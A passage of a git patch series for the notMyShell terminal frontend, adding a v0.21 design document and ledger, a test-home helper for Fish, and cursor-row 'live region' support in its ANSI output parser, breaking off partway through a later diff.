From 5a5dab9948ec49b89243165dedcdcbb94bbeae79 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:09:43 +0530 Subject: [PATCH 001/157] Docs: v0.21 design, acceptance and ledger Reconciles the v0.21 candidate issues against dev at 6af5cbab: what each slice reuses and owns, the confirmed causes of #403, #408 and #388, the tests that prove each slice, and what stays deferred. The ledger records progress, commits and open risks so later sessions can resume. --- docs/design/v021-terminal-intelligence.md | 178 ++++++++++++++++++++++ docs/development/v021-ledger.md | 40 +++++ 2 files changed, 218 insertions(+) create mode 100644 docs/design/v021-terminal-intelligence.md create mode 100644 docs/development/v021-ledger.md diff --git a/docs/design/v021-terminal-intelligence.md b/docs/design/v021-terminal-intelligence.md new file mode 100644 index 00000000..24b35d4d --- /dev/null +++ b/docs/design/v021-terminal-intelligence.md @@ -0,0 +1,178 @@ +# v0.21 — native viewing, terminal intelligence and workflow polish + +Design and acceptance for the v0.21 candidate ([#410](https://github.com/raiseCatError/notMyShell/issues/410)). It +reconciles the candidate issues against the code on `dev` at `6af5cbab` (identical to `master`, after v0.20.0 at +`65e4de55`), names what each slice reuses and owns, and lists the tests that prove it. Progress, commits and open risks +are recorded in the [v0.21 ledger](../development/v021-ledger.md); this document changes only when a decision does. + +v0.21 makes the existing terminal better. NMSh stays a frontend over a real shell and PTY: the shell parses and runs +commands, programs own their bytes, and NMSh owns the composer and its own presentation. Nothing here is a shell +course, an IDE, a multiplexer or an agent harness. Learn Mode (#398) is deferred and unscheduled. + +## Invariants every slice keeps + +- **One input owner at a time.** A panel, viewer or editor owns keys only while it is open; a running program's + foreground read, passthrough and the queue keep their current rules. Nothing new types into the shell. +- **Raw output is authoritative.** Derived views (overviews, track snapshots, viewer rendering) are presentation and + are never written into the stored transcript lines, the journal's raw events, `/copy`'s raw payload or the shell. +- **One geometry plan.** New chrome is planned by `src/app/screenPlan.ts` or drawn as a full panel through the existing + panel slot; no subsystem computes its own rows. +- **Hostile text is inert.** File contents, command output and provider results are data: control and format + characters are escaped or removed before display (`displaySafe`, `stripTerminalControls`), links are only the + existing allowed forms, and nothing is executed because it was opened or recognized. +- **Bounded.** Every new read, buffer, cache, timer and process has a stated limit sized for an 8 GB Mac. +- **Honest degradation.** Unsupported input says so and keeps the existing behavior; nothing is guessed. + +## Slices + +Order follows dependencies: reliability first (later slices run more tests over the same paths), then the viewer +(the editor and Semantic Output reuse its document model), then `/track`, modules, themes and controls. + +### 1. Reliability gates + +**#403 Fish teardown race.** Cause confirmed: an interactive Fish whose generated-completions directory is missing +starts `fish_update_completions` detached (Fish 4.x checks `$__fish_cache_dir/generated_completions`, Fish 3.x +`$__fish_user_data_dir/generated_completions`); the orphaned Python process keeps writing about 1,400 files into the +test home after the shell exits, racing `rmSync`. Production is unaffected: NMSh runs Fish with the person's own +directories, where this one-time generation is Fish's normal behavior. The harness, however, did not isolate +`XDG_DATA_HOME`/`XDG_CACHE_HOME`, so test shells also wrote into ambient caches (observed under `t7run`). +Fix: every test home is hermetic for data, cache and state, and Fish's "already generated" directories exist in it +(`tests/helpers/shellHome.ts`), applied by the canonical runner, `LiveSandbox` and the adapter fixtures. Test: a Fish +started in a prepared home spawns no generator; the lifecycle tests remove their homes without retries. + +**#408 queued highlight.** Cause confirmed in production code, not only the test: every prompt marker's shell +knowledge clears `SemanticService`'s cache and resolves in-flight classifications as `unknown`, so a stored command +whose lookup was in flight when the next prompt arrived (a fast queue) keeps the unclassified color permanently. +Fix: a lookup superseded by newer knowledge is asked again against that knowledge (bounded), and a stale answer is +still never cached. The test waits for the shell's startup knowledge and for the classification promises it started +instead of one `setImmediate`. Tests: superseded lookup resolves from the new knowledge; queued and composer paths end +with the same colors; repeated runs are stable. + +**#388 multi-line progress redraws.** `AnsiOutputParser` implements `\r`, `CSI K/G/C/D` and full clears, but ignores +row movement, so every frame of a multi-row progress display (`CSI A` + `CSI 2K` + text + `\n`) becomes new permanent +lines. Fix: a bounded **live region**: the cursor may move up and down only within the running program's own rows, +never above the most recent NMSh-authored line or the command's start, and never more than the PTY's screen height +(a terminal cannot address scrollback either). Supported: `CSI A/B/E/F` (cursor up/down/next/previous line), +`ESC M`, `ESC D`, `ESC E`, save/restore (`ESC 7/8`, `CSI s/u`), `CSI J` 0/1 within the region, `CSI K` 0/1/2. +Absolute row addressing (`CSI H/f/d` with a row) is not mapped: inline programs cannot know where their rows are, so +it keeps today's behavior (appends), documented. Copy and search see what the terminal would show at the end; the +intermediate frames are not kept, as a terminal's scrollback does not keep them. Raw events in the session spool are +unchanged and replay through the same parser. Tests: single and multi-row redraws, interleaved stdout, split +sequences, clamping at the fence, NMSh lines inserted mid-redraw, metadata never edited, a real-PTY run of the +fixture from #388, and a bounded-time run of 10k frames. + +### 2. Native `/view` (#397, viewer phase of #402) + +A read-only full-height panel over one **document**: lines of text plus where they came from. + +- Sources: `/view `, `/view N` (completed output N, numbered as `/copy` numbers them), and **View output** in + block Actions. Output documents read the record's stored text; no second capture, no shell involvement. +- Files: `lstat` then `open(O_RDONLY | O_NONBLOCK)` and `fstat` on the descriptor; only regular files are read + (FIFOs, devices and directories are refused with the reason). At most 8 MiB is read; longer files show the first + part with an explicit truncation line. NUL bytes or a high control-character ratio in the first 8 KiB mean binary + and are refused. Invalid UTF-8 is shown with replacement characters and a note. Symlinks are followed (as `less` + does) and the header names the target. Reading is asynchronous and cancellable; nothing is written. +- Modes: **Text** (line numbers, wrap or horizontal scroll), **Markdown** (the existing `src/markdown` renderer for + `.md`/`.markdown` files only; output is never implicitly Markdown; `m` toggles Rendered/Source), **Diff** (unified + diff roles for `.diff`/`.patch` and output whose command is `git diff`/`git show`/`diff -u`), and syntax roles for + source files through the existing `highlightCode` when the extension is known. +- Navigation: arrows, PageUp/PageDown, Home/End, `g`/`G`, `:` go to line, `/` search with `n`/`N`, `w` wrap, + `l` line numbers, `c` copy the whole document's text (raw source), `Esc`/`q` close. Mouse wheel scrolls. +- Safety: every displayed line goes through `displaySafe`; Markdown links stay text unless the target passes + `authoredTargetAllowed`; nothing is executed, fetched or followed. Large files keep only the decoded lines in + memory (bounded by the read cap). + +The existing **Open in pager** action stays for people who prefer `less`; `/view` does not replace `less`, `bat` or +Glow, and running those commands is unchanged. + +### 3. Small native editor (`/edit`, editor phase of #402) + +Opt-in convenience for small text files, built on the viewer's document model and file checks. + +- Opens regular UTF-8 text files up to 1 MiB that the person owns, with one hard link; others open read-only in + `/view` with the reason. Line endings (LF/CRLF), a BOM and the final newline are preserved. +- Editing: insert/delete, multi-line, caret movement by character/word/line/page, Shift selection, cut/copy/paste + through NMSh's clipboard, undo/redo (bounded history), search, and a dirty marker. +- Save (`Ctrl+S`): write a temporary file in the same directory (exclusive create, original mode), `fsync`, then + check the original is still the file loaded (device, inode, size, mtime and content hash) and `rename` over the + resolved real path. A changed or replaced original is a conflict: **Overwrite**, **Keep editing** or **Discard + mine**, nothing silent. Errors (permission, full disk, read-only filesystem) are reported in the editor and the + buffer is kept. Extended attributes and ACLs are not carried over by the rename; documented. +- `Esc` with unsaved changes asks; the composer draft and shell are untouched throughout. Not an IDE: no LSP, + multi-cursor, project tree, plugins or Vim emulation. `vim`, `nano` and other editors run unchanged. + +### 4. Semantic Output (#386, first phase) + +Deterministic, post-completion, optional. One recognizer table, each entry a pure function from +`(command, stored output, exit code)` to a typed result with a role (`overview` or `detail`), the facts it read and a +completeness flag. First recognizers, chosen for usefulness and testability: + +- **Test runs**: Node's test runner/TAP (`# pass`/`# fail`), Jest/Vitest summaries, pytest's final line, `cargo test` + `test result:` lines, Go's `ok`/`FAIL` package lines. Overview: counts as the runner printed them. +- **Compiler and type-checker diagnostics**: `tsc`, GCC/Clang, `rustc`/`cargo`, Go: overview counts plus a detail list + of `file:line` locations and messages taken verbatim from the output. + +Presentation is derived rows in `TranscriptPresenter` (like fold hints), placed after the command header and before +output; they never enter stored lines. The overview appears only when it adds information (long output, or failures +whose locations are listed), never for short readable output. Raw output keeps its existing fold policy; a failure is +never folded away by a semantic view. A late result never moves rows above the reader: it is computed synchronously at +completion from bounded input (first 2 MiB), so it exists before the block is drawn. +`/copy` gains `--raw` (default and current behavior), `--semantic` (the overview and details as text, raw with a note +when there are none) and `--both` (labeled raw then semantic), mutually exclusive, combinable with existing selectors. +Settings → Transcript → Semantic Output: On (default) / Off. External providers (`jc`, `delta`) are not part of +this phase. + +### 5. `/track` (#393, reconciling draft PR #394) + +`/track` is the `/watch` scheduler (`src/tasks/WatchTasks.ts`) with PR #394's hardening carried over by hand (strict +cadence parsing, refusing substitutions, background operators and heredocs, bounded UTF-8 capture, timeouts, a stop +grace period, at most eight active trackers, copy of the latest snapshot), plus one **live transcript block**: a +header line stored once, and the latest completed snapshot drawn as derived rows that are replaced in place on every +completed sample. One current and one previous result are kept; nothing accumulates per refresh. + +- Samples run as ` -c ` in their own process group with the starting directory captured at creation, + pipes and `NO_COLOR`; they do not see the live shell's aliases, functions or unexported variables, and the block + says so. No overlap: a refresh while a sample runs is refused with the reason. +- States shown truthfully: first run pending, running, last completed time, exit status, timed out, spawn error, + stale (no completed sample in two intervals), paused, stopped. +- Ownership: trackers belong to the window, as `/watch` always has. Detaching or closing the window stops them and + their processes; the block then reads *stopped with this window*. They are not silently restored by reattach. The + service-owned supervisor (#382) is not duplicated; moving scheduling into the session service is a later step. +- Copy and search: the stored header plus, while live, the derived snapshot rows are searchable; `/copy` of a track + block and **C** in the panel copy the latest completed snapshot as plain text, never earlier samples. Stopping a + track writes its final snapshot into the transcript once, so history keeps the last result. +- `/watch` keeps its syntax and safety gate; `/track` and `/watch` manage the same trackers. + +### 6. Native modules and diagnostics (#364, #365) + +Add the matrix's remaining safe candidates with the existing declarative-file pattern: **Bun** (requested version from +`package.json` `packageManager`/`engines.bun`, `.bun-version`, `.tool-versions`/`mise.toml`; active from the install +path), **Nix shell** (`IN_NIX_SHELL` and `name` from the allowlisted live environment) and **container** (`/.dockerenv`, +`/run/.containerenv`, `container` in the environment). Each gets hostile-workspace fixtures; none runs a tool. Update +the coverage matrix with the date and decisions. For #365, close the remaining diagnostic gaps the issue lists after +auditing what v0.20 shipped: per-module cache lifetime and key scope, a slowest-collectors list, and a plain-text +explain export, reading snapshots only (opening diagnostics never starts collection). + +### 7. Theme families (#401) and action controls (#336) + +Add Tier 1 families from their canonical upstream palettes with source, revision and license recorded in +`theme-families.md`: Ayu, Kanagawa, Everforest, Flexoki, Night Owl, GitHub Primer, Oxocarbon, and Material +Palenight and a classic Monokai where licensing is verified. Existing ids and stored preferences are unchanged; +Lavender stays the default. Picker grouping and dark/light filtering are added only if the catalog makes the current +list hard to use. Contrast is checked against each variant's own background with the existing contrast helpers. +Confirmations added in this release (editor save conflicts, `/track` confirmation) use the existing +`src/ui/actionControls.ts` renderer; no new widget layer. + +## Deferred (not in v0.21) + +#398 Learn Mode; #339/#340 managed Codex/OpenCode and remote control; #337/#338 broad worktree and GitHub writes; +#330–#332 workspace expansion; #333 tmux Studio; #334 Setup Cat profiles; #335 keymap remapping; #399 host terminal +configuration; #304 Theme Bridge expansion; #341 executable mods; #296 hosted demo; #389 (no reproduction); #356 +(separate Fish typeahead race); #366 external editor provider registry. Semantic Output providers (`jc`, `delta`), +service-owned `/track` scheduling, viewer follow/tail mode and Markdown editing preview are later phases. + +## Verification + +Focused tests per slice; `npm run verify` before each PR; exact-head CI (macOS and Ubuntu, Node 22 and 26, Fedora) +before merge; `verify:release` and the timing smoke at the integration checkpoint. Physical Ghostty and Terminal.app +checks are listed per slice in the ledger and are not claimed from automated runs. diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md new file mode 100644 index 00000000..36142b49 --- /dev/null +++ b/docs/development/v021-ledger.md @@ -0,0 +1,40 @@ +# v0.21 ledger + +Durable state of the v0.21 candidate ([#410](https://github.com/raiseCatError/notMyShell/issues/410)) so a later +session can resume without rediscovering it. Design and acceptance: [v0.21 design](../design/v021-terminal-intelligence.md). +Automated results here are not physical-terminal validation. + +## Baseline (verified 2026-10-18) + +- `master` = `dev` = `6af5cbab`; latest release v0.20.0 (`65e4de55`); CI green on both. +- Open PRs: draft #394 (`/track` first slice, based on an older line; reconciled by hand in slice 5, not merged). +- Work happens in disposable worktrees under `/Volumes/T7Tmp/ai-dev/worktrees/notMyShell/`; scratch on the T7. + +## Slices + +| # | Slice | Issues | Branch / PR | Merged commit | State | +| --- | --- | --- | --- | --- | --- | +| 0 | Design and ledger | #410 | | | in progress | +| 1 | Reliability gates | #403, #408, #388 | | | | +| 2 | `/view` | #397, #402 | | | | +| 3 | `/edit` | #402 | | | | +| 4 | Semantic Output | #386 | | | | +| 5 | `/track` | #393 (#394) | | | | +| 6 | Modules and diagnostics | #364, #365 | | | | +| 7 | Themes and controls | #401, #336 | | | | + +## Decisions + +- #403 is a test-fixture race (Fish's detached completion generator), not a product leak; the fix makes test homes + hermetic rather than adding retries. +- #408 is a production race in `SemanticService` (superseded lookups resolved `unknown`), plus a test that raced the + real shell's startup knowledge. +- `/track` stays window-owned like `/watch` in v0.21; service-owned scheduling is deferred and documented. + +## Physical QA still required + +Recorded per slice when it merges. + +## Open risks + +None recorded yet. From d7ece44c798643b696986cb085a984d68cdee9e2 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:22:23 +0530 Subject: [PATCH 002/157] Docs: v0.21 design names the Fish test-home helper as built --- docs/design/v021-terminal-intelligence.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/design/v021-terminal-intelligence.md b/docs/design/v021-terminal-intelligence.md index 24b35d4d..5ab0b3be 100644 --- a/docs/design/v021-terminal-intelligence.md +++ b/docs/design/v021-terminal-intelligence.md @@ -36,9 +36,10 @@ starts `fish_update_completions` detached (Fish 4.x checks `$__fish_cache_dir/ge test home after the shell exits, racing `rmSync`. Production is unaffected: NMSh runs Fish with the person's own directories, where this one-time generation is Fish's normal behavior. The harness, however, did not isolate `XDG_DATA_HOME`/`XDG_CACHE_HOME`, so test shells also wrote into ambient caches (observed under `t7run`). -Fix: every test home is hermetic for data, cache and state, and Fish's "already generated" directories exist in it -(`tests/helpers/shellHome.ts`), applied by the canonical runner, `LiveSandbox` and the adapter fixtures. Test: a Fish -started in a prepared home spawns no generator; the lifecycle tests remove their homes without retries. +Fix: Fish's "already generated" directories exist in every test home (`scripts/test-shell-home.mjs`, used by the +canonical runner, `LiveSandbox` and the fixtures that start Fish with their own home), and the runner no longer passes +ambient `XDG_DATA_HOME`/`XDG_CACHE_HOME`/`XDG_STATE_HOME` to tests, so local runs fall back to the private home as CI +does. Test: a Fish started in a prepared home spawns no generator (and the same test fails without the marker). **#408 queued highlight.** Cause confirmed in production code, not only the test: every prompt marker's shell knowledge clears `SemanticService`'s cache and resolves in-flight classifications as `unknown`, so a stored command From 8b55e274cf32896810f184536d4bbe5fc9a81f81 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:22:03 +0530 Subject: [PATCH 003/157] Reliability: Fish test homes, superseded classifications and multi-row redraws #403: an interactive Fish on a fresh home starts its man-page completion generator detached; it outlived test shells and raced home removal. Test homes now mark that generation as done (Fish 3 and 4 locations), and the runner no longer passes ambient XDG data, cache and state directories to tests. A regression asserts no generator starts. #408: newer shell knowledge resolved in-flight classifications as unknown, so a stored queued command could keep the unclassified color. A superseded lookup is now asked again against the new knowledge (bounded); stale answers are still never cached. The highlight tests wait for the shell's startup knowledge and for the lookups they started instead of one event-loop turn. #388: the output parser ignored row movement, so every frame of a multi-row progress display stayed in the transcript. Programs can now redraw their own recent rows (cursor up/down, save/restore, partial erases), never above NMSh's lines or more than a screen height; absolute positioning keeps the previous behavior. --- scripts/test-shell-home.mjs | 17 +++ scripts/test.mjs | 7 ++ src/app/TerminalApp.ts | 1 + src/output/AnsiOutputParser.ts | 173 +++++++++++++++++++++++--- src/output/OutputBuffer.ts | 9 ++ src/shell/SemanticService.ts | 18 ++- tests/ansiLiveRegion.test.ts | 141 +++++++++++++++++++++ tests/helpers/liveFrontend.ts | 3 + tests/postV020Folding.test.ts | 2 + tests/queryOrder.test.ts | 2 + tests/queuedHighlight.test.ts | 61 +++++++-- tests/shellAdapters.test.ts | 21 +++- tests/shellContextEnvironment.test.ts | 2 + tests/shellIntelligence.test.ts | 12 +- 14 files changed, 435 insertions(+), 34 deletions(-) create mode 100644 scripts/test-shell-home.mjs create mode 100644 tests/ansiLiveRegion.test.ts diff --git a/scripts/test-shell-home.mjs b/scripts/test-shell-home.mjs new file mode 100644 index 00000000..be75a11c --- /dev/null +++ b/scripts/test-shell-home.mjs @@ -0,0 +1,17 @@ +import {mkdirSync} from 'node:fs'; +import {join} from 'node:path'; + +/** + * Marks Fish's man-page completion generation as already done in a test home (#403). + * + * On a home without generated completions, an interactive Fish starts `fish_update_completions` detached + * (Fish 4 checks `$__fish_cache_dir/generated_completions`, Fish 3 `$__fish_user_data_dir/generated_completions`). + * That orphaned process keeps writing about 1,400 files into the home after the shell exits, so removing the home + * races it. Real installations keep Fish's normal behavior; only test homes are marked, in both places. + * + * @param {string} home the HOME the test's shells run with + * @param {{dataHome?: string, cacheHome?: string}} [dirs] XDG_DATA_HOME / XDG_CACHE_HOME when the test sets them + */ +export function markFishCompletionsGenerated(home, {dataHome = join(home, '.local', 'share'), cacheHome = join(home, '.cache')} = {}) { + for (const base of [dataHome, cacheHome]) mkdirSync(join(base, 'fish', 'generated_completions'), {recursive: true}); +} diff --git a/scripts/test.mjs b/scripts/test.mjs index 482eb2b1..36f564a2 100644 --- a/scripts/test.mjs +++ b/scripts/test.mjs @@ -4,6 +4,7 @@ import {availableParallelism, tmpdir} from 'node:os'; import {join} from 'node:path'; import {pathToFileURL} from 'node:url'; import {discoverTestFiles, parseTestOptions, selectTestGroups, testConcurrency} from './test-selection.mjs'; +import {markFishCompletionsGenerated} from './test-shell-home.mjs'; /** Short private temp roots keep Unix sockets below their path length limit. */ export async function runTestFiles(files, args = [], {cwd = process.cwd(), stdio = 'inherit', report = message => console.error(message)} = {}) { @@ -12,11 +13,17 @@ export async function runTestFiles(files, args = [], {cwd = process.cwd(), stdio try { const testHome = join(root, 'home'); mkdirSync(testHome, {mode: 0o700}); + markFishCompletionsGenerated(testHome); // Existing presentation snapshots pin truecolor; baseline fixtures override this explicitly. // Tests never see the user's real NMSh settings: configuration lives under this run's private root. const env = {...process.env, HOME: testHome, COLORTERM: process.env.COLORTERM ?? 'truecolor', TMPDIR: root, TMP: root, TEMP: root, XDG_CONFIG_HOME: join(root, 'config'), NMSH_DISABLE_UPDATES: '1'}; // A nested runner must not impersonate its parent's test worker. delete env.NODE_TEST_CONTEXT; + // Ambient XDG data, cache and state directories (a developer's, or a wrapper's shared cache) are not the tests': + // shells and tools fall back to the private HOME, as they do on CI where these are unset. + delete env.XDG_DATA_HOME; + delete env.XDG_CACHE_HOME; + delete env.XDG_STATE_HOME; // PTY workers also own shell/helper processes. Bound fan-out on larger // development hosts; explicit Node --test-concurrency options still win. const concurrency = testConcurrency(process.env.NMSH_TEST_CONCURRENCY, availableParallelism()); diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index e727d766..07f2d810 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -10352,6 +10352,7 @@ export class TerminalApp { this.lastPtyRows = plan.ptyRows; this.lastPtyColumns = columns; this.session.resize(columns, plan.ptyRows); + this.output.setScreenRows(plan.ptyRows); } const wrapped = this.output.wrapped(columns); diff --git a/src/output/AnsiOutputParser.ts b/src/output/AnsiOutputParser.ts index be7d481e..7e0863dc 100644 --- a/src/output/AnsiOutputParser.ts +++ b/src/output/AnsiOutputParser.ts @@ -54,9 +54,29 @@ export type SerializedLine = SerializedCell[]; */ export const MAX_CONTROL_SEQUENCE = 8192; +/** The screen height assumed until the owner reports the PTY's rows (a terminal's classic default). */ +const DEFAULT_SCREEN_ROWS = 24; + +/** + * The live region (#388). A program may redraw its own recent rows in place, as on a terminal: cursor up/down + * (`CSI A/B/E/F`, `ESC M/D/E`), save/restore (`ESC 7/8`, `CSI s/u`) and erasing (`CSI J` 0/1, `CSI K` 0/1/2) act on + * the row the cursor is on. The cursor never moves above the fence (the line after the newest one NMSh wrote: a + * command header, a notice, an earlier command) nor more than a screen height above the newest line, because a + * terminal cannot address its scrollback either. So a multi-row progress display updates its rows instead of adding + * a copy of them per frame, and nothing outside the running program's own rows can be changed. Absolute row + * positioning (`CSI H/f/d` rows) is not mapped: an inline program cannot know where its rows are, so it keeps the + * previous behavior. The stored lines are what a terminal would show at the end; intermediate frames are not kept. + */ export class AnsiOutputParser { readonly lines: StyledLine[] = []; private current: StyledLine = []; + /** The cursor's row: an index into `lines`, or `lines.length` for the current (newest) line. */ + private row = 0; + /** The lowest row the program may address (see the live region). */ + private fence = 0; + private screenRows = DEFAULT_SCREEN_ROWS; + /** DECSC / SCOSC saved cursor (row, column, and for ESC 7 the style). */ + private saved?: {row: number; column: number; style?: string}; private column = 0; private style = ''; private pending = ''; @@ -86,6 +106,50 @@ export class AnsiOutputParser { constructor(private readonly onClear?: () => void) {} + /** The PTY's rows: how far above the newest line a program's cursor can reach. */ + setScreenRows(rows: number): void { + this.screenRows = Math.max(1, Math.min(1000, Math.floor(rows) || DEFAULT_SCREEN_ROWS)); + } + + /** + * Program output from here on may redraw only rows from `index` (clamped to the stored lines); NMSh-written rows + * and earlier commands stay out of reach. Used when a running command is resumed from a journal. + */ + fenceAt(index: number): void { + this.fence = Math.max(0, Math.min(index, this.lines.length)); + this.row = this.lines.length; + this.saved = undefined; + } + + /** The line the cursor is on. */ + private get target(): StyledLine { + return this.row < this.lines.length ? this.lines[this.row]! : this.current; + } + + /** The highest row the cursor may move to: the fence, or a screen height above the newest line. */ + private get topRow(): number { + return Math.max(this.fence, this.lines.length - (this.screenRows - 1)); + } + + private moveRow(delta: number): void { + this.row = Math.max(this.topRow, Math.min(this.lines.length, this.row + delta)); + } + + /** Line feed: down a row, or a new line at the bottom. */ + private lineFeed(): void { + if (this.row < this.lines.length) { this.row += 1; return; } + this.lines.push(this.current); + this.current = []; + this.row = this.lines.length; + } + + /** NMSh wrote a line: the cursor returns below it and nothing at or above it can be redrawn. */ + private settle(): void { + this.row = this.lines.length; + this.fence = this.lines.length; + this.saved = undefined; + } + write(chunk: string): void { const input = this.pending + chunk; this.pending = ''; @@ -128,8 +192,7 @@ export class AnsiOutputParser { continue; } if (character === '\n') { - this.lines.push(this.current); - this.current = []; + this.lineFeed(); this.column = 0; this.ending = true; index += 1; @@ -149,7 +212,7 @@ export class AnsiOutputParser { const spaces = 8 - (this.column % 8); for (let count = 0; count < spaces; count += 1) { this.put(' ', 1); - const cell = this.current[this.column - 1]!; + const cell = this.target[this.column - 1]!; cell.tab = true; if (count === 0) cell.tabSpan = spaces; } @@ -182,11 +245,14 @@ export class AnsiOutputParser { this.hyperlink = undefined; this.style = style; this.write(text); + // Text with its own line breaks or row movement still ends on the newest line. + this.row = this.lines.length; this.lines.push(this.current); this.current = []; this.column = 0; this.style = ''; this.hyperlink = undefined; + this.settle(); } ensureLineBoundary(): void { @@ -195,6 +261,7 @@ export class AnsiOutputParser { this.current = []; this.column = 0; } + this.settle(); } replaceLine(index: number, text: string): void { @@ -205,6 +272,10 @@ export class AnsiOutputParser { const oldPending = this.pending; const oldHyperlink = this.hyperlink; const oldDiscarding = this.discarding; + const oldRow = this.row; + const oldFence = this.fence; + const oldSaved = this.saved; + const oldLength = this.lines.length; this.current = []; this.column = 0; @@ -212,13 +283,15 @@ export class AnsiOutputParser { this.pending = ''; this.discarding = false; this.hyperlink = undefined; - + // Replacement text is one line of NMSh's own: it is written as the newest line and cannot reach other rows. + this.row = this.lines.length; + this.fence = this.lines.length; + this.saved = undefined; + this.write(text); - if (this.pending.length > 0) { - // Flush any remaining characters if write left pending state (e.g. incomplete escape) - // For simple replacement lines, this shouldn't happen unless malformed, but just in case. - } - this.lines[index] = this.current; + // A line break in replacement text would add lines; only the first one replaces the stored line. + const replaced = this.lines.length > oldLength ? this.lines.splice(oldLength)[0]! : this.current; + this.lines[index] = replaced; this.current = oldCurrent; this.column = oldColumn; @@ -226,6 +299,9 @@ export class AnsiOutputParser { this.pending = oldPending; this.hyperlink = oldHyperlink; this.discarding = oldDiscarding; + this.row = oldRow; + this.fence = oldFence; + this.saved = oldSaved; } completedCount(): number { @@ -284,12 +360,17 @@ export class AnsiOutputParser { const restored: StyledLine = line.map(cell => cell === null ? null : 'empty' in cell ? undefined : {...cell}); this.lines.push(restored); } + // A restored transcript is history; a resumed command reopens its own rows with fenceAt. + this.settle(); } trim(maxLines: number): number { if (this.lines.length <= maxLines) return 0; const removed = this.lines.length - maxLines; this.lines.splice(0, removed); + this.row = Math.max(0, this.row - removed); + this.fence = Math.max(0, this.fence - removed); + if (this.saved) this.saved = {...this.saved, row: Math.max(0, this.saved.row - removed)}; return removed; } @@ -305,7 +386,7 @@ export class AnsiOutputParser { } const params = match[1] ?? ''; const final = match[3] ?? ''; - this.applyCsi(params, final); + this.applyCsi(params, final, match[2] ?? ''); return {complete: true, next: start + match[0].length}; } if (kind === ']') { @@ -338,9 +419,22 @@ export class AnsiOutputParser { if (start + 1 + intermediates >= input.length || intermediates >= MAX_CONTROL_SEQUENCE - 1) return {complete: false, next: start}; return {complete: true, next: start + 1 + intermediates}; } + // Two-byte escapes that move within the live region; others (keypad modes, RIS…) are dropped as before. + if (kind === '7') this.saved = {row: this.row, column: this.column, style: this.style}; + else if (kind === '8') this.restoreCursor(true); + else if (kind === 'M') this.moveRow(-1); + else if (kind === 'D') { this.lineFeed(); this.ending = true; } + else if (kind === 'E') { this.lineFeed(); this.column = 0; this.ending = true; } return {complete: true, next: Math.min(input.length, start + 2)}; } + private restoreCursor(withStyle: boolean): void { + if (!this.saved) return; + this.row = Math.max(this.topRow, Math.min(this.lines.length, this.saved.row)); + this.column = this.saved.column; + if (withStyle && this.saved.style !== undefined) this.style = this.saved.style; + } + /** * SGR in order: 0 resets where it appears, and the arguments of extended * colours (38/48/58 with 5;n or 2;r;g;b) are never read as attributes, so a @@ -368,17 +462,32 @@ export class AnsiOutputParser { if (kept.length > 0) this.style += `\u001B[${kept.join(';')}m`; } - private applyCsi(params: string, final: string): void { + private applyCsi(params: string, final: string, intermediates = ''): void { this.touch(); const values = params.replace(/^\?/u, '').split(';').map(value => Number(value || '0')); const amount = values[0] || 1; + // Row movement, save/restore and partial erases: plain forms only (a private marker or intermediate is another request). + const plain = !intermediates && !/^[<=>?]/u.test(params); if (final === 'm') { // A private marker makes it another request (`CSI > 4 ; 2 m` is xterm's modifyOtherKeys), not SGR. if (/^[<=>?]/u.test(params)) return; this.applySgr(params); } else if (final === 'K') { - if ((values[0] ?? 0) === 2) this.current = []; - else this.current.splice(this.column); + const line = this.target; + const mode = values[0] ?? 0; + if (mode === 2) line.length = 0; + else if (mode === 1) { for (let position = 0; position <= this.column && position < line.length; position += 1) line[position] = undefined; } + else line.splice(this.column); + this.touch(line); + } else if (plain && (final === 'A' || final === 'B' || final === 'E' || final === 'F')) { + this.moveRow(final === 'A' || final === 'F' ? -amount : amount); + if (final === 'E' || final === 'F') this.column = 0; + } else if (plain && params === '' && final === 's') { + this.saved = {row: this.row, column: this.column}; + } else if (plain && params === '' && final === 'u') { + this.restoreCursor(false); + } else if (plain && final === 'J' && (values[0] ?? 0) <= 1) { + this.eraseDisplay(values[0] ?? 0); } else if (final === 'G') { this.column = Math.max(0, amount - 1); } else if (final === 'C') { @@ -390,6 +499,9 @@ export class AnsiOutputParser { this.lines.length = 0; this.current = []; this.column = 0; + this.row = 0; + this.fence = 0; + this.saved = undefined; this.onClear?.(); } } @@ -397,22 +509,45 @@ export class AnsiOutputParser { private put(text: string, width: number): void { this.ending = false; - for (let position = 0; position < width; position += 1) this.current[this.column + position] = undefined; - this.current[this.column] = {text, width, style: this.style, ...(this.hyperlink ? {hyperlink: this.hyperlink, ...(this.authoring ? {authored: true as const} : {})} : {})}; + const line = this.target; + for (let position = 0; position < width; position += 1) line[this.column + position] = undefined; + line[this.column] = {text, width, style: this.style, ...(this.hyperlink ? {hyperlink: this.hyperlink, ...(this.authoring ? {authored: true as const} : {})} : {})}; this.touch(); - for (let position = 1; position < width; position += 1) this.current[this.column + position] = null; + for (let position = 1; position < width; position += 1) line[this.column + position] = null; this.column += width; } - private touch(): void { revisions.set(this.current, lineRevision(this.current) + 1); } + private touch(line: StyledLine = this.target): void { revisions.set(line, lineRevision(line) + 1); } private findPreviousCell(): StyledCell | undefined { - for (let index = Math.min(this.column - 1, this.current.length - 1); index >= 0; index -= 1) { - const cell = this.current[index]; + const line = this.target; + for (let index = Math.min(this.column - 1, line.length - 1); index >= 0; index -= 1) { + const cell = line[index]; if (cell) return cell; } return undefined; } + + /** Erase in display within the live region: 0 below the cursor, 1 above it. */ + private eraseDisplay(mode: number): void { + const line = this.target; + if (mode === 0) { + line.splice(this.column); + if (this.row < this.lines.length) { + // The cursor's row becomes the newest line; the program's rows below it are gone, as on the screen. + this.current = line; + this.lines.length = this.row; + } else this.touch(line); + this.touch(this.current); + return; + } + for (let row = this.topRow; row < this.row; row += 1) { + this.lines[row]!.length = 0; + this.touch(this.lines[row]!); + } + for (let position = 0; position <= this.column && position < line.length; position += 1) line[position] = undefined; + this.touch(line); + } } /** diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 1f3cff68..5dff1188 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -352,9 +352,18 